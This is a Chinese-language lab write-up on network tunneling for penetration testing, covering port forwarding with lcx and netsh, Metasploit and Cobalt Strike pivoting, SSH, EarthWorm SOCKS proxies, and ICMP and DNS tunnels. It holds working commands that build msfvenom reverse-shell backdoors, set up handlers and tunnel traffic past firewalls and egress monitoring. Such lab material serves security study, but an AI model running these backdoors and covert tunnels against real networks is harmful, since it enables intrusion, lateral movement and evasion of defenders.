流量操縱——隧道

2022-01-04 13:01:00

介紹

1. 什麼是隧道?

在實際的網路中,通常會通過各種邊界裝置、軟/硬體防火牆甚至入侵檢測系統來檢查對外連線情況,如果發現異樣,就會對通訊進行阻斷。那麼什麼是隧道呢?這裡的隧道,就是一種繞過埠遮蔽的通訊方式。防火牆兩端的封包通過防火牆所允許的封包型別或埠進行封裝,然後穿過防火牆,與對方進行通訊。當封裝的封包到達目的地時,將封包還原,並將還原後的封包傳送到相應伺服器上。

在一些網路環境中,如果攻擊者使用各類上層隧道(例如HTTP隧道,DNS隧道,正反向埠轉發等)進行操作均失敗。那麼可以嘗試使用ICMP建立隧道,ICMP協定不需要埠的開放,因為其基於IP工作的,所以我們將其歸結到網路層,ICMP訊息最為常見的就是ping命令的回覆,將TCP/UDP封包封裝到ICMP的ping封包中,從而穿過防火牆(通常防火牆是不會遮蔽ping封包的)

防火牆只允許ping出站流量,利用ptunnel建立ICMP隧道,從而實現傳輸資料。

2. 為什麼使用隧道?

在資料通訊被攔截的情況下利用隧道技術封裝改變通訊協定進行繞過攔截,解決CS、MSF無法上線,資料傳輸不穩定無回顯,出口資料被監控,網路通訊存在問題等。

3. 常用的隧道協定有哪些?

網路層:IPv6 隧道、ICMP 隧道
傳輸層:TCP 隧道、UDP 隧道、常規埠轉發
應用層:SSH 隧道、HTTP/S 隧道、DNS 隧道

4. 隧道與代理的區別

代理是為了解決網路通訊問題,如:我在學校,如何連線在網咖的你?我在中國,如何存取油管?
隧道在代理之上,在建立連線的情況下,如何突破各種網路限制,來建立穩固連線

5. 腦圖概覽

在這裡插入圖片描述

埠轉發

埠對映與埠轉發用於釋出防火牆內部的伺服器或者防火牆內部的使用者端計算機,有的路由器也有埠對映與埠轉發功能。埠對映與埠轉發實現的功能類似,但又不完全一樣。埠對映是將外網的一個埠完全對映給內網一個地址的指定埠,而埠轉發是將發往外網的一個埠的通訊完全轉發給內網一個地址的指定埠。埠對映可以實現外網到內網和內網到外網雙向的通訊,而埠轉發只能實現外網到內網的單向通訊。

隧道與埠轉發的概念不是很清晰,這裡參考:https://hsk.oray.com/news/9757.html

nc

關於nc,參見我之前的文章:https://blog.csdn.net/weixin_44288604/article/details/112888661
關於反彈sehll,參見我之前的文章:https://blog.csdn.net/weixin_44288604/article/details/111740527

lcx

最原始的lcx找不著了,在github上搜尋,表現較好的是下面這個
專案地址:https://github.com/cw1997/NATBypass

資源列表如下,下載64位元的
在這裡插入圖片描述

實驗目標:kali獲取內網主機的3389

環境拓撲

  1. win7開啟3389遠端桌面
  2. 分別在win7和win2008上執行lcx

在這裡插入圖片描述

實操

  1. win7執行如下命令

把自己127.0.0.1的3389轉發到192.168.42.129的6666埠

.\nb-windows-amd64.exe -slave 192.168.42.129:6666 127.0.0.1:3389

在這裡插入圖片描述

  1. win2008執行如下命令

把6666埠的流量轉發到7777埠

.\nb-windows-amd64.exe -listen 6666 7777

在這裡插入圖片描述

  1. kali連線win7的3389

kali連線192.168.40.131:7777相當於連線192.168.40.131:6666,相當於192.168.42.128:3389

rdesktop 192.168.40.131:7777

在這裡插入圖片描述

輸入正確是賬號密碼即可連線
在這裡插入圖片描述

netsh

netsh是windows系統自帶的一個命令列工具,這個工具可以內建埠轉發功能

環境拓撲

在這裡插入圖片描述

實操1

實現:當kali存取win2012的某埠時,可以存取到內網win7的某埠。
演示:當kali存取win2012的6666埠時,可以存取到內網win7的3389埠。

win2012只需要設定為:允許任意主機存取自己的6666埠時,自己就把流量轉發給win7的3389埠

  1. 開啟埠轉發,命令如下:
新增埠轉發的命令
netsh interface portproxy add v4tov4 listenport=6666 connectaddress=192.168.195.138 connectport=3389

檢視埠轉發的記錄表
netsh interface portproxy show all

清除指定規則
netsh interface portproxy delete v4tov4 listenport=6666

清除所有規則
netsh interface portproxy reset

在這裡插入圖片描述

  1. 存取內網機器

在這裡插入圖片描述

實操2—MSF

實驗思路:

  1. msfvenom生成後門,一旦執行,就自動存取win2012的4444埠
  2. win2012開啟埠轉發,只要有人連線自己的6666埠,就轉發給kali的4444埠
  3. kali監聽4444埠

不知道為什麼,這個實驗沒做出來,重置了一下網路,新的網路拓撲如下圖
後續:經過排查得知,是因為win2012開啟了防火牆,導致實驗失敗。關閉防火牆即可。

在這裡插入圖片描述

操作:

  1. msfvenom生成後門
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.128 lport=6666 -f exe >s.exe
  1. win2012開啟埠轉發
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=192.168.239.141 connectport=4444

在這裡插入圖片描述

  1. kali開啟監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4444
exploit
  1. 執行木馬
  2. 拿到session

在這裡插入圖片描述

cobalt strike正向連線內網

實驗目標:已經使用cs拿下win2012,如何把win2012作為跳板機去存取目標win7

環境拓撲

在這裡插入圖片描述

準備階段

  1. 啟動CS伺服器

在這裡插入圖片描述

  1. 啟動CS使用者端

雙擊start.bat就行了

  1. 生成payload,讓代理伺服器win2012上線

這部分的操作,簡單截個圖算了。詳情參見之前的筆記:語雀地址CSDN地址
3.1 設定監聽器
在這裡插入圖片描述

3.2 生成powshell
在這裡插入圖片描述

3.3 主機上線
在這裡插入圖片描述

實操

  1. 新建一個tcp的監聽器

在這裡插入圖片描述

  1. 生成exe後門

在這裡插入圖片描述

  1. 把後門丟到win7上,目標win7執行後門

果然開放了4444埠,那麼我們只需要通過win2012即可正向連線到win7
在這裡插入圖片描述

  1. 連線win7

注意,ip和埠之間是沒有冒號的,否則會失敗

connect 10.10.1.129 4444

在這裡插入圖片描述

cobalt strike反向連線內網

如果內網靶機有防火牆進行攔截,那麼正向連線就會失敗,為了解決這個問題,就需要使用反向連線。
即:讓內網目標win7反向連線代理伺服器win2012

環境拓撲

在這裡插入圖片描述

實操

  1. 生成監聽器

在這裡插入圖片描述

  1. 生成後門

在這裡插入圖片描述

  1. win7執行後門,後門就會主動連線到win2012,cs就會得到win2012的新對談

不知道錯誤原因,先不管了。
在這裡插入圖片描述

  1. 重置了一下網路,再來操作一遍,發現是第2步中需要指定X64才行

在這裡插入圖片描述

Metasploit Portfwd(埠轉發/重定向)

環境拓撲

在這裡插入圖片描述

準備階段

先拿下win2012

  1. msf生成後門
msfvenom -p windows/meterpreter/reverse_tcp lport=4455 -f exe >hack.exe
  1. msf開啟監聽
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4455
exploit
  1. 把後門丟到win2012,執行它

在這裡插入圖片描述

實操

轉發win2012的遠端桌面

  1. 開啟win2012的遠端桌面
  2. 新增埠轉發
portfwd add -l 8080 -r 192.168.239.201 -p 3389

在這裡插入圖片描述

  1. 實現:存取原生的8080埠時,存取到win2012的3389埠

在這裡插入圖片描述

轉發win7的遠端桌面

需要確認win7開啟了3389,否則不能直接搞。

meterpreter > portfwd add -l 5566 -r 10.10.10.131 -p 3389

在這裡插入圖片描述

存取win7的80埠

實現通過存取原生的4477埠,存取到了win7的80埠

portfwd add -l 4477 -r 10.10.10.131 -p 80

在這裡插入圖片描述

方式1:存取 http://localhost:4477
在這裡插入圖片描述

方式2:存取 http://192.168.239.141:4477
在這裡插入圖片描述

方式3:可以直接使用BurpSuite
在這裡插入圖片描述

SSH

SSH會自動加密和解密所有SSH使用者端與伺服器端之間的網路資料。但是,SSH還能夠將其他TCP埠的網路資料通過SSH連結來轉發,並且自動提供了響應的解密服務。這一過程也被叫做「隧道」(tunneling),這是因為SSH為其他TCP連結提供了一個安全的通道來進行傳輸而得名,例如SMTP、LDAP這些TCP應用均能夠從中得益,避免了使用者名稱,密碼以及隱私資訊的傳輸。而此同時,如果工作環境中的防火牆限制了一些網路埠的使用,但是允許SSH的連線,也能夠通過將TCP埠轉發來使用SSH進行通訊。

SSH埠轉發的兩大功能

  • 加密SSH_Client端至SSH_Server端之間的通訊資料。
  • 突破防火牆的限制,完成一些之前無法建立的TCP連線。

SSH本地socks5代理

在這裡插入圖片描述

實現思路:kali連線一臺aws的雲伺服器,通過它存取網際網路,突破網路限制。

  1. 給root設定一個密碼
  2. 編輯ssh檔案:vim /etc/ssh/sshd_config
  3. PasswordAuthentication no修改為PasswordAuthentication yes
  4. 新增:PermitRootLogin yes
  5. 重新啟動ssh服務:service sshd restart
  6. 以賬號密碼的方式連線雲伺服器的ssh,如下圖:ssh -qTfnN -D 7070 root@3.112.252.229
-C 為壓縮資料
-q 安靜模式
-T 禁止遠端分配終端
-n 關閉標準輸入
-N 建立靜默連線,就是建立了連線(不執行登入shell)
-f 將SSH傳輸放在後臺執行
-D 動態轉發

在這裡插入圖片描述

  1. 給kali的瀏覽器設定一個socks5代理

在這裡插入圖片描述

  1. 使用此socks代理,就可以存取外網了。

在這裡插入圖片描述

在這裡插入圖片描述

SSH本地埠轉發

關於這部分更細緻的記錄,參見之前的筆記:語雀地址CSDN地址

在這裡插入圖片描述

實現:kali能透過Cent7存取到內網win7的web服務
在kali上執行如下命令:

ssh -L 本地埠:目標IP:目標埠 root@192.168.40.150 -fN
ssh -L 6666:10.10.10.128:80 root@192.168.40.150 -fN

-f 將SSH傳輸放在後臺執行
-N 建立靜默連線,就是建立了連線(不執行登入shell)

在這裡插入圖片描述

實現:kali能透過Cent7連線win7的遠端桌面

ssh -L 7777:10.10.10.128:3389 root@192.168.40.150 -fN
rdesktop 10.10.10.128:3389

在這裡插入圖片描述

SSH遠端埠轉發

kali希望能存取到ubuntu的80埠,但是Cent7和ubuntu之間只允許3306埠通訊,如何解決?
在這裡插入圖片描述

  1. 將跳板機Cent7的ssh組態檔:/etc/ssh/sshd_config中的GatewayPorts修改為yes,沒有的話新增此項內容,之後重新啟動SSH。

這個設定的作用是,遠端轉發後將127.0.0.1改為0.0.0.0,攻擊者kali就可以通過指定埠就能存取內網的ubuntu
在這裡插入圖片描述

  1. Ubuntu開啟遠端埠轉發

實現,任何機器只要連線了跳板機的8866埠,就能轉發到Ubuntu的80埠

ssh -R 8866:10.10.10.131:80 root@10.10.10.130 -fN

在這裡插入圖片描述

  1. 外網的kali可以存取內網的Ubuntu

在這裡插入圖片描述

EarthWorm(EW)

EW 是一套行動式的網路穿透工具,具有 SOCKS v5服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透,目前工具已經停止更新(此工具被查殺嚴重)。使用方法在下面的連結中作者已經介紹了,可以參考
下載地址:https://github.com/idlefire/ew
官方網站:http://rootkiter.com/EarthWorm

引數如下:

-s   選擇功能型別:
  共包含6種功能:      
      ssocksd:正向代理       
      rcsocks:反向代理1,流量轉發       
      rssocks:反向代理2,反彈socks5       
      lcx_listen:反向代理1,流量轉發       
      lcx_tran:埠轉發       
      lcx_slave:埠繫結 
-l   指定要監聽的本地埠  
-d   指定要反彈到的機器 ip 
-e   指定要反彈到的機器埠 
-f   指定要主動連線的機器 ip 
-g   指定要主動連線的機器埠 
-t   指定超時時長,預設為1000

正向代理

環境拓撲如下,kali希望存取到內網vm2
思路:win2012開啟代理,只有有人連線了自己的9999埠,自己就把它轉發走
在這裡插入圖片描述

  1. win2012開啟代理
ew_for_Win.exe -s ssocksd -l 9999  //在9999埠上開啟socks代理,ssocksd提供正向代理功能

在這裡插入圖片描述

  1. kali修改socks代理檔案

在這裡插入圖片描述

  1. kali存取內網Ubuntu的80埠

在這裡插入圖片描述

反向代理

環境拓撲如下,kali希望存取到內網vm2
思路:win7開啟反向代理,反彈socks5到win2012,win2012開啟反向代理,連線win7,再流量轉發功能
在這裡插入圖片描述

  1. win2012開啟代理轉發(第一步先做這個,如果先做win7會導致win7反彈失敗!)
ew_for_Win.exe -s rcsocks -l 1080 -e 1024

在這裡插入圖片描述

  1. win7開啟反向代理,反彈socks5到win2012
ew_for_Win.exe -s rssocks -d 10.10.10.129 -e 6666

在這裡插入圖片描述

  1. kali設定代理

在這裡插入圖片描述

常見埠掃描也是可以的

proxychains4 nmap -Pn -sT -sV 10.10.10.128 -F

在這裡插入圖片描述

ICMP隧道-Ptunnel

如果使用者可以ping通遠端計算機,就可以嘗試建立ICMP隧道,將TCP資料通過該隧道傳送,實現不受限的網路存取。
引數:

-p    代理伺服器地址,即跳板機地址
-lp   本地埠
-da   目標內網IP,即我們的目標機IP
-dp   目標埠,即我們要的目標機埠
-c    網路卡編號
-v    顯示詳細過程,值可以-1-5,-1為不顯示,5為最詳細
-udp  通過dns協定傳輸,埠為udp53
-x    進入此隧道密碼,如果伺服器加該引數,使用者端也需要加同樣引數和值
-f    指定一個紀錄檔檔案

網路拓撲如下,攻擊者想要實現和目標之間自由通訊(目前只能實現ICMP互通)
在這裡插入圖片描述

環境準備

  1. 目標使用iptables防火牆,不接收來自攻擊者的tcp型別封包
iptables -F //清除規則
iptables -A INPUT -p tcp -s 192.168.40.129 -j DROP	//新增規則
iptables -L //檢視規則

在這裡插入圖片描述

  1. 目標開啟一個web服務,用來進行測試

在這裡插入圖片描述

  1. 測試如下

代理可以正常存取
在這裡插入圖片描述

攻擊者存取失敗
在這裡插入圖片描述

實操

  1. 代理主機生成一個隧道
sudo ptunnel -x 1234

在這裡插入圖片描述

  1. 攻擊者透過代理主機的隧道,連線到目標的80埠
sudo ptunnel -p 192.168.40.140 -lp 8080 -da 192.168.40.139 -dp 80 -x 1234

在這裡插入圖片描述

在這裡插入圖片描述

DNS隧道-dns2tcp

DNS隧道介紹

什麼是DNS隧道?
DNS隧道(DNS Tunneling)是將其他協定的內容封裝在DNS協定中,然後以DNS請求和響應包完成傳輸資料(通訊)的技術。當前網路世界中的DNS是一項必不可少的服務,所以防火牆和入侵檢測裝置處於可用性和使用者友好的考慮大都不會過濾DNS流量,也為DNS成為隱蔽通道創造了條件,因此,DNS隧道在殭屍網路和APT攻擊中扮演著重要的角色。

DNS隧道的原理
在進行DNS查詢時,如果查詢的域名不在DNS伺服器本機的快取中,就會存取網際網路進行查詢,然後返回結果。如果在網際網路上有一臺客製化的伺服器那麼依靠DNS協定即可進行封包的交換。從DNS協定的角度看,這樣的操作只是在一次次查詢某個特定的域名並得到解析結果,但其本質問題是,預期的返回結果應該是一個IP地址,而事實上不是——返回的可以是任意字串,包括加密的C&C指令。

DNS隧道分為兩種
直連模式:使用者端直接向指定IP地址的DNS伺服器發起DNS解析請求
中繼模式:DNS經過網際網路的迭代解析,指向指定的DNS伺服器。

區別在於直連模式速度相對快,但安全性相對較差。非直連模式速度相對較慢,但安全性相對較高。大多數情況下都使用中繼模式。
(另外直連方式的限制比較多,如目前很多的企業網路為了儘可能的降低遭受網路攻擊的風險,一般將相關策略設定為僅允許與指定的可信任DNS伺服器之間的流量通過。)

dns2tcp介紹

dns2tcp是一個利用DNS隧道轉發TCP連線的工具,支援KEY和TXT型別的請求,用C語言開發。它分為兩個部分,伺服器端和使用者端。伺服器端執行在inux伺服器上,使用者端可以執行在linx和 windows上(其他平臺沒有測試過),編譯完成後在伺服器端上的可執行檔名稱為dns2tcp,在使用者端(linux)上的名稱為dns2tcpc,kali預設安裝了二者。下述為主要引數及解釋,詳情請參考手冊。

實操

需要搞個vps就算了,還得搞個域名,太麻煩,操作參見他人的文章吧:https://blog.csdn.net/smli_ng/article/details/106159155

參考

【內網滲透】搭建隧道
安全攻防 | EarthWorm 代理
ICMP隧道技術
內網隱藏通訊隧道技術——DNS隧道